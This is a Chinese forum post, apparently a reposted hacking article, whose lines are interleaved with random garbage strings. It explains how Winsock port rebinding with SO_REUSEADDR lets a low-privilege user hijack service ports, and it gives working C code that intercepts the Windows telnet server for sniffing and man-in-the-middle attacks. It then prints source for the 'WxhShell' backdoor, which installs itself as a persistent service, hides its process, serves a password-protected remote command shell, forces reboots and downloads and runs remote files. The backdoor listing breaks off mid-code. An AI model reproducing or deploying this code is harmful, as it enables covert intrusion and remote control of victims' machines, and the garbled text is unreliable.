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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V4NQcy? H  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ohq Thl  
J<+ f7L  
  saddr.sin_family = AF_INET; 2aCf?l(  
jk&xzJH.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); gN />y1{a  
wEM=Tr/h  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); YPI,u7-  
qe#5;#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 GJZjQH-#P  
bY.VNA  
  这意味着什么?意味着可以进行如下的攻击: #@OPi6.#!<  
c'tQA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +pme]V|<  
G\BZ^SwE  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) QEf@wv;T  
-*4*hHmb  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3.?be.cq  
?R#$ c]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  nOL.%  
r9&m^,U  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 yD7}  
kMurNA=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O 7 aLW  
V=*^C+6s  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 P'OvwA  
(1[59<cg]  
  #include 96<oX:#  
  #include t!3N|`x  
  #include u-,}ug|  
  #include    lTqlQ<`V  
  DWORD WINAPI ClientThread(LPVOID lpParam);   DbH;DcV7  
  int main() eIalcBY  
  { /Yp#`}Ii  
  WORD wVersionRequested; lP`BKc,  
  DWORD ret; \alV #>J5  
  WSADATA wsaData; ]}N01yw|s  
  BOOL val; F""9O6u  
  SOCKADDR_IN saddr; KH;~VR8"/  
  SOCKADDR_IN scaddr; ]$Z:^" JS3  
  int err; <A)M^,#o  
  SOCKET s; nS%jnp#  
  SOCKET sc; D?1fY!C:r  
  int caddsize; WM ?a1j  
  HANDLE mt; ?=M ?v;8  
  DWORD tid;   )xyjQ|b  
  wVersionRequested = MAKEWORD( 2, 2 ); r)'vn[A  
  err = WSAStartup( wVersionRequested, &wsaData ); 1Y'4 g3T  
  if ( err != 0 ) { D;V[9E=g/  
  printf("error!WSAStartup failed!\n"); <Pt?N2]A|  
  return -1; rl%,9JD!  
  } '^_u5Y]  
  saddr.sin_family = AF_INET; l(sVnhL6h  
   -  /\qGI  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :Fb>=e  
f(m, !  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); GmWr  
  saddr.sin_port = htons(23); >Dr(%z6CN  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nFEJO&1+  
  { vNGE]+QX  
  printf("error!socket failed!\n"); <@-O 06  
  return -1; jn V=giBu  
  } E:pk'G0bZ  
  val = TRUE; dyWp'vCQs\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >5~#BrpwG  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v<!S_7h  
  { o?Hfxp0}  
  printf("error!setsockopt failed!\n"); Res U5Ce~  
  return -1; }R['Zoh4I  
  } [v"Z2F<.=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; I1E9E$m5\<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .Az36wD  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 E?XaU~cpc  
QPx5`{nN  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %vJHr!x  
  { 46A sD  
  ret=GetLastError(); f)/Z7*Z  
  printf("error!bind failed!\n"); OT])t<TF6  
  return -1; +{I_%SsG  
  } `uMEK>b  
  listen(s,2); k <oB9J  
  while(1) |NfFe*q0;8  
  { ^Qs}2%  
  caddsize = sizeof(scaddr); '9V/w[mI  
  //接受连接请求 Q4"\k. ?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); n(F!t,S1i  
  if(sc!=INVALID_SOCKET) r.H`3m.0q  
  { )r9 9zdUk  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !uEEuD#  
  if(mt==NULL) BY6#dlDi  
  { o{s2T)2  
  printf("Thread Creat Failed!\n"); lnZ{Ryo(  
  break; 5.~Je6K U  
  } '8X>,un  
  } S 5S\zTPIf  
  CloseHandle(mt); 6ZQ |L=Ytp  
  } Q Q3<)i  
  closesocket(s); !,Uo{@E)Y  
  WSACleanup(); n N<N~  
  return 0; Y P2VSK2Q  
  }   [A-_?#cZ  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;l@94)@0  
  { H`JFXMa<  
  SOCKET ss = (SOCKET)lpParam; +vh|m5"7I7  
  SOCKET sc; l76=6Vtb  
  unsigned char buf[4096]; Xul`>8y|  
  SOCKADDR_IN saddr; P>7Xbm,VP  
  long num; 7Q .Su  
  DWORD val; @Po5AK3cy  
  DWORD ret; Lzh8-d=HQ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]at$ohS  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   YJJ1N/Z1  
  saddr.sin_family = AF_INET; +MoUh'/u  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ')uYI;h9  
  saddr.sin_port = htons(23); INg0[Lpc  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !vSI"$xd  
  { 66v,/#K  
  printf("error!socket failed!\n"); /7AHd ;  
  return -1; #I/P9)4  
  } 9z7_D_yN2  
  val = 100; 5 D|#l*V  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) CsO!Y\'FY  
  { #"gt&t9Q  
  ret = GetLastError(); .a%6A#<X  
  return -1; 1b5Z^a<u  
  } ^)AECn  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S,&LH-ps   
  { ~MG6evm &  
  ret = GetLastError(); K.Xy:l*z  
  return -1; 'oa.-g5  
  } 7+jxf[(XQ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) BIx*t9wA  
  { B>2=IZ  
  printf("error!socket connect failed!\n"); )&c2+Y@  
  closesocket(sc); c2E /-n4K@  
  closesocket(ss); A2'i~_e  
  return -1; 4) 8k?iC*  
  } @cDB 7w\  
  while(1) fv;Q*; oC&  
  { Hg#t SE  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 c1H.v^Y5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2q?/aw ;Z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [OC( ~b  
  num = recv(ss,buf,4096,0); =E-x0sr?  
  if(num>0) Hv/C40uM-  
  send(sc,buf,num,0); #VQZ"7nI@  
  else if(num==0) Rk$7jZdTf  
  break; 49qa  
  num = recv(sc,buf,4096,0); e@'x7Zzh  
  if(num>0) \8{SQ%  
  send(ss,buf,num,0); )."ob=m  
  else if(num==0) ^twyy9VR  
  break; YU,zQ V'  
  } x\yM|WGL  
  closesocket(ss); UylIxd  
  closesocket(sc); q!z?Tn#!jd  
  return 0 ; JsY,Q,D q  
  } ]3,'U(!+  
0#|Jhmv-zL  
2[lP,;!  
========================================================== &9e  
&8VH m?h  
下边附上一个代码,,WXhSHELL 1jC85^1Taq  
Q& [!+s:2J  
========================================================== 0:{W t  
Bc=(1ty)  
#include "stdafx.h" M+t)#O4  
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#include <stdio.h> 7gX32r$%V  
#include <string.h> l$u52e!7  
#include <windows.h> '/GB8L  
#include <winsock2.h> tQ }GTqk  
#include <winsvc.h> g ~<[;6&{  
#include <urlmon.h> 1d<?K7%^  
2a@X-Di  
#pragma comment (lib, "Ws2_32.lib") iwnGWGcuS  
#pragma comment (lib, "urlmon.lib") I Fw7?G,  
C|y^{4 |R  
#define MAX_USER   100 // 最大客户端连接数 ~ <1s[Hu  
#define BUF_SOCK   200 // sock buffer 'iMzp]V;  
#define KEY_BUFF   255 // 输入 buffer '6D"QDZB  
c&;" Y{  
#define REBOOT     0   // 重启 dv. 77q  
#define SHUTDOWN   1   // 关机 TOiLv.Dor  
qO@vXuul,  
#define DEF_PORT   5000 // 监听端口 [n9l[dN  
M^ * ~?9  
#define REG_LEN     16   // 注册表键长度 TQ\#Z~CbK{  
#define SVC_LEN     80   // NT服务名长度 %DuPM6 6r  
AO<T6 VK  
// 从dll定义API dV$[O`F* b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a"s2N%{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 091m$~r*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sI\NX$M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0\i\G|5  
6jpzyf=~  
// wxhshell配置信息 +[}y` -t  
struct WSCFG { @<K<"`~H  
  int ws_port;         // 监听端口 yz [pF  
  char ws_passstr[REG_LEN]; // 口令 MJX ny4n  
  int ws_autoins;       // 安装标记, 1=yes 0=no '@t,G,FJ  
  char ws_regname[REG_LEN]; // 注册表键名 w/NT 5  
  char ws_svcname[REG_LEN]; // 服务名 _;}$/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -#%M,Qb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w&@tP^`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [Or1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :h,}yBJ1L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bfeTf66c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,u@:(G  
**P P  
}; E+y_te^+b  
p;4FZ$  
// default Wxhshell configuration j*>]HNo&  
struct WSCFG wscfg={DEF_PORT,  +At [[  
    "xuhuanlingzhe", {X?Aj >l  
    1, G;gsDn1t  
    "Wxhshell", 9#[,{2pJr  
    "Wxhshell", 2-m@-  
            "WxhShell Service", f['I4 /o  
    "Wrsky Windows CmdShell Service", l&\y]ZV={  
    "Please Input Your Password: ", WG,Il/  
  1, W,8Uu1X =  
  "http://www.wrsky.com/wxhshell.exe", a[ ;L+  
  "Wxhshell.exe" N5 sR  
    }; AXcmN  
pI f6RwH}%  
// 消息定义模块 T Tbe{nb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @Mg&T$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ](I||JJa9f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G{?`4=K  
char *msg_ws_ext="\n\rExit."; 7 @\i5  
char *msg_ws_end="\n\rQuit."; p` ~=v4;b  
char *msg_ws_boot="\n\rReboot..."; R?{_Q<17  
char *msg_ws_poff="\n\rShutdown..."; m +A4aQ9  
char *msg_ws_down="\n\rSave to "; lOA EM  
CeU=A9  
char *msg_ws_err="\n\rErr!"; ]U@~vA#''  
char *msg_ws_ok="\n\rOK!"; cZ%tJ(&\7X  
!0p K8k&MG  
char ExeFile[MAX_PATH]; BZLIi O  
int nUser = 0; .{eMN[ n@  
HANDLE handles[MAX_USER]; ]@y%j'e  
int OsIsNt; 0fj C>AS  
L5UZ@R,  
SERVICE_STATUS       serviceStatus; h@JX?LzZS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N_Ezp68Fp  
7r:&%?2:g  
// 函数声明 |FFz $'8)  
int Install(void); BN(=LQ2["  
int Uninstall(void); 1z|bQ,5  
int DownloadFile(char *sURL, SOCKET wsh); xA^E+f:W_  
int Boot(int flag); lpPPI+|4N  
void HideProc(void); '<,Dz=  
int GetOsVer(void); X<_HQ  
int Wxhshell(SOCKET wsl); , XscO7  
void TalkWithClient(void *cs); N, u]2,E  
int CmdShell(SOCKET sock); {oOUIP  
int StartFromService(void); $+2QbEk&-  
int StartWxhshell(LPSTR lpCmdLine); $S>bcsAy  
*Mg@j;+5s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ).HA #!SE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); He8]Eb  
d<Lc&wlP  
// 数据结构和表定义 f5M;q;  
SERVICE_TABLE_ENTRY DispatchTable[] = YXTV$A+lW  
{ +<$nZ=,hsy  
{wscfg.ws_svcname, NTServiceMain}, S/*\j7cj  
{NULL, NULL} }>y !I5O  
}; Rkg)yme!N  
An}RD73!w  
// 自我安装 h+Lpj^<2a  
int Install(void) {tOf0W|  
{ \{Q_\s&)  
  char svExeFile[MAX_PATH]; Z[&FIG% tV  
  HKEY key; $XcH.z  
  strcpy(svExeFile,ExeFile); AJ}m2EH  
B T}l"  
// 如果是win9x系统,修改注册表设为自启动 a Z)1SX`D  
if(!OsIsNt) { CN` ~DD{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 22ySMtxn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PI$i_3N  
  RegCloseKey(key); yX*$PNL5w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #c' B2Jn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gP|-A`y  
  RegCloseKey(key); ,gpEXU p\  
  return 0; ;`xCfOY(  
    } 2Y9u9;ah  
  } tz?3R#rM  
} 4V{&[ Z  
else { iEI#J!~  
P9:5kiP H  
// 如果是NT以上系统,安装为系统服务 THy?Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t@R n#(~"  
if (schSCManager!=0) \7h>9}wGf  
{ A#K<5%U{Mv  
  SC_HANDLE schService = CreateService J9t?;3  
  ( *otgI"y\  
  schSCManager, H;<>uE Lie  
  wscfg.ws_svcname, `z q+Xl  
  wscfg.ws_svcdisp, z{ M2tLNb  
  SERVICE_ALL_ACCESS, K2Ro0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D=%1?8K  
  SERVICE_AUTO_START, ^uG^>Om*  
  SERVICE_ERROR_NORMAL, y5*zyd  
  svExeFile, ]8"U)fzmc.  
  NULL, }'}n~cA.{  
  NULL, 6DU(KYN  
  NULL, _pb*kJ  
  NULL, "uL~D5!f  
  NULL 9fs-|E[5  
  ); 9 iJ$M!  
  if (schService!=0) B1FJAKI);  
  { fUCjC*#1  
  CloseServiceHandle(schService); S8kzAT  
  CloseServiceHandle(schSCManager); Wj!+ E{y<r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0=U|7%dOL  
  strcat(svExeFile,wscfg.ws_svcname); $8(QBZq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a_0I)' ?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w2s06`g  
  RegCloseKey(key); x8C\&ivn  
  return 0; LibQlNW\  
    } IS!OO<  
  } (x\VGo  
  CloseServiceHandle(schSCManager); I0H]s/*C%9  
} qAd=i0{N  
} n8)&1 q?V  
$nW9VMa  
return 1; ?Bq^#i |m  
} 8 3/WWL }  
2?6]Xbs{  
// 自我卸载 oR~d<^z(  
int Uninstall(void) S[7^#O.)  
{ rp"5176  
  HKEY key; -l_B;Sb:e  
LjGZp"&{  
if(!OsIsNt) { |/xx**?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $mAC8a_Zu  
  RegDeleteValue(key,wscfg.ws_regname); f@Jrbg  
  RegCloseKey(key); opm_|0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m44a HBwId  
  RegDeleteValue(key,wscfg.ws_regname); _()1 "5{  
  RegCloseKey(key); %x{kd8>u!  
  return 0; / yBrlf  
  } /W*Z.  
} gd7r9yV  
} _#r00Ze  
else { O9>$(`@I  
YU8]W%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ilK*Xo  
if (schSCManager!=0) /i27F2NQm  
{ Q~0>GOq*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Pf,@U'f|  
  if (schService!=0) EZjtZMnj  
  { Bf #cBI  
  if(DeleteService(schService)!=0) { 8TAJ#Lm  
  CloseServiceHandle(schService); Q 318a0  
  CloseServiceHandle(schSCManager); M!i|,S  
  return 0; x$o^;2Z  
  } =$)M-;6  
  CloseServiceHandle(schService); 2IM 31 .  
  } N%Ta. `r  
  CloseServiceHandle(schSCManager); ti%RE:*  
} 2YKa <?_  
} KgkRs?'z  
AnX<\7bc}  
return 1; P[G>uA>Z1  
} hchG\ i  
7_ayn#;y  
// 从指定url下载文件 MA:5'n  
int DownloadFile(char *sURL, SOCKET wsh) 7pY :.iVO  
{ o.fqJfpj  
  HRESULT hr; n}A!aC  
char seps[]= "/"; s^eiym P  
char *token; VSDua.  
char *file; !*"fWahv  
char myURL[MAX_PATH]; X)~wB7_0G  
char myFILE[MAX_PATH]; r#4/~a5i~  
uz{RV_IX7  
strcpy(myURL,sURL); Pb8@owG8  
  token=strtok(myURL,seps); YVDFcN9v  
  while(token!=NULL) JL1A3G  
  { +Z|3[#W  
    file=token; dV'EiNpf  
  token=strtok(NULL,seps); RhHm[aN  
  } -GCo`PR?b  
xH*X5?  
GetCurrentDirectory(MAX_PATH,myFILE); Q7XOO3<):  
strcat(myFILE, "\\"); +K'Hr: (  
strcat(myFILE, file); w90YlWS#  
  send(wsh,myFILE,strlen(myFILE),0); [A,^ F0:h  
send(wsh,"...",3,0); ,oA<xP-*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^r&)@R$V  
  if(hr==S_OK) *l+Dbm,u  
return 0; \$w kr  
else C{zp8 A(Dh  
return 1; ,?|$DY+=  
gk%@& TB/  
} Mq Ai}z%  
kUgfFa#_  
// 系统电源模块 jhm??Af  
int Boot(int flag) Y"MHs0O5>  
{ 3@gsKtA&H4  
  HANDLE hToken; 3J+2#ML  
  TOKEN_PRIVILEGES tkp; Xv-p7$?f  
er UYR"  
  if(OsIsNt) { 22CET9iCe  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q- |Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V9<`?[Usv  
    tkp.PrivilegeCount = 1; 3O/#^~\'hW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E7MSoBX9M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z]]Ur  
if(flag==REBOOT) { K"0IWA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HYfGu1j?X  
  return 0; q#W|fkfx+  
} 9RJF  
else { wfmM`4Y   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sCFxn  
  return 0; C 1k< P  
} 3T2]V?   
  } 3=YpZ\l}  
  else { "=djo+y  
if(flag==REBOOT) { X/,) KTo7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .$18%jH#  
  return 0; vQljxRtW  
} nF,F#V8l  
else { SMX]JZmH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1 ~zjsi  
  return 0; .5(YL8d  
} K oJ=0jM#  
} .S/ 5kLul  
?*fY$93O  
return 1; `x[Is$  
} %f;dn<m=c  
=SfNA F  
// win9x进程隐藏模块 l6/VJ~(}'  
void HideProc(void) ).SJ*Re*^I  
{ @8|*Ndx2  
Jb QK$[z"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [eX]x  
  if ( hKernel != NULL ) m\6/:~qWW  
  { }/cReX,so  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =-h^j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MiT0!6Pg  
    FreeLibrary(hKernel); SYCL\b   
  } -& 1(~7  
nkW})LyB\  
return; vI{aF- #  
} (pxH<k=Ah  
!T{+s T  
// 获取操作系统版本 QyD0WC}i  
int GetOsVer(void) 'hpOpIsHa  
{ +%JBr+1#\  
  OSVERSIONINFO winfo; 5=pE*ETJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q^(CqQo!<  
  GetVersionEx(&winfo); \}Jznzx;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YOl$sgg}  
  return 1; 6"Uu;Q  
  else t'n@yX_  
  return 0; 1BSd9Ydj  
} ABWn49c.  
2S?7j[@%i`  
// 客户端句柄模块 >,e^}K}C  
int Wxhshell(SOCKET wsl) }[AaI #  
{ u<-)C)z  
  SOCKET wsh; D:z'`v0j  
  struct sockaddr_in client; uvId],dQ5  
  DWORD myID; A)f-r  
, >LJpv  
  while(nUser<MAX_USER) +fP.Ewi  
{ -?Cr&!*B  
  int nSize=sizeof(client); G:AA>t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $n\Pw  
  if(wsh==INVALID_SOCKET) return 1; my (@~'  
d^C@5Pd <  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y^fw37b  
if(handles[nUser]==0) cQ8[XNa  
  closesocket(wsh); ]o6 ZZK  
else yHeL&H  
  nUser++; Q:-T' xk@  
  } ,aP6ct  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O$*lPA[  
L@N %S Sf  
  return 0; 6G8No-#y  
} giakEPl  
}Fe6L;^;  
// 关闭 socket eZ'8JU]  
void CloseIt(SOCKET wsh) :u>RyKu|&R  
{ [`n_> p!  
closesocket(wsh); ;UQGi}?CD  
nUser--; msl.{  
ExitThread(0); $L*gtZ  
} ;uBGB h<  
I\l&'Q^0@  
// 客户端请求句柄 sxNf"C=-.  
void TalkWithClient(void *cs) 3#7V1  
{ ?P kJG ,~  
E'08'8y  
  SOCKET wsh=(SOCKET)cs; Od!)MQ*,  
  char pwd[SVC_LEN]; j~q 7v `":  
  char cmd[KEY_BUFF]; z?byNd8  
char chr[1]; .n8R%|C5  
int i,j; JW>k8QjyN  
7HPwlS  
  while (nUser < MAX_USER) { s= Fp[>qA  
"qmSwdM  
if(wscfg.ws_passstr) { v;,W ^#`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4.O)/0sU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~74Sq'j9Wt  
  //ZeroMemory(pwd,KEY_BUFF); LU6R"c11  
      i=0; S?688  
  while(i<SVC_LEN) { vk7IqlEQ  
}-3 VK%  
  // 设置超时 +7.|1x;C  
  fd_set FdRead; iOiF kka  
  struct timeval TimeOut; 6#z8 %k aX  
  FD_ZERO(&FdRead); SU0SsgFB  
  FD_SET(wsh,&FdRead); !>48`o ^  
  TimeOut.tv_sec=8; -P;3BHS$T  
  TimeOut.tv_usec=0; v5[gFY(?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hK?GIbRZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,Fn;*  
ex>7f%\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k4{!h?h  
  pwd=chr[0]; x^lc T  
  if(chr[0]==0xd || chr[0]==0xa) { A/y|pg5  
  pwd=0;  a*p|Ij  
  break; c.>f,vtcn  
  } aO{@.  
  i++; ^G!cv  
    } :<g0Ho?e  
\(Ma>E4PNU  
  // 如果是非法用户,关闭 socket h8/tKyr8(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3@~a)E}T  
} AXbb-GK  
J!Z6$VERy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ct\msG }b:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0>Y3xNb  
?o(284sV3  
while(1) { %n$f#Ml_r  
Zh8\B)0unn  
  ZeroMemory(cmd,KEY_BUFF); Bz'.7" ":0  
0moAmfc  
      // 自动支持客户端 telnet标准   l%+ &V^:  
  j=0; kqB# 9  
  while(j<KEY_BUFF) { V Rv4p5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -nGcm"'6F  
  cmd[j]=chr[0]; =-^A;AO(  
  if(chr[0]==0xa || chr[0]==0xd) { x-i,v"8  
  cmd[j]=0; S(.J  
  break; vjX,7NY?  
  } P5my]4|x  
  j++; "G%S m")  
    } ,$`} Rf<  
t?9J'.p  
  // 下载文件 +.Vh<:?  
  if(strstr(cmd,"http://")) { <y7{bk~i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); db 99S   
  if(DownloadFile(cmd,wsh)) >_j(uw?u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [W )%0lx  
  else jm%P-C @  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lITd{E,+r  
  } RQ=rB9~:ZN  
  else { DOyO`TJi  
M4Cb(QAVP  
    switch(cmd[0]) { I'xc$f_+  
  Rxdj}xy  
  // 帮助 g=mKTk   
  case '?': { KTYjC\\G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X>$Wf3  
    break; $6m@gW]N  
  } vyS>3(NZ  
  // 安装 = cRmaD  
  case 'i': { 4L>8RiiQE;  
    if(Install()) e!J5h <:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >r`O@`^U  
    else 2#NnA3l]x%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ObM/~{rKx  
    break; }`CF(Do  
    } )ThNy:4  
  // 卸载 C9+rrc@4  
  case 'r': { (-yif&  
    if(Uninstall()) "]jN'N(.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G+#bO5  
    else #_^ p~:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wfO -bzdw  
    break; o|>=< l  
    } ="]lN  
  // 显示 wxhshell 所在路径 |8E~C~d  
  case 'p': { r.)n>  
    char svExeFile[MAX_PATH]; yLf9cS6=  
    strcpy(svExeFile,"\n\r"); 1tTP;C l#  
      strcat(svExeFile,ExeFile); Foq3==*p  
        send(wsh,svExeFile,strlen(svExeFile),0); `XF[A8@h  
    break; XR",.3LD  
    } Pfs_tu  
  // 重启 ,R=!ts[qi  
  case 'b': { -W6@[5c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sDs.da#*2  
    if(Boot(REBOOT)) ac\aH#J_nC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^6# yL6E,~  
    else { F3V:B.C  
    closesocket(wsh); G\tN(%.f  
    ExitThread(0); 3B;Gm<fJ9N  
    } 1PxRj  
    break; kKRu]0J~[  
    } . AA# G  
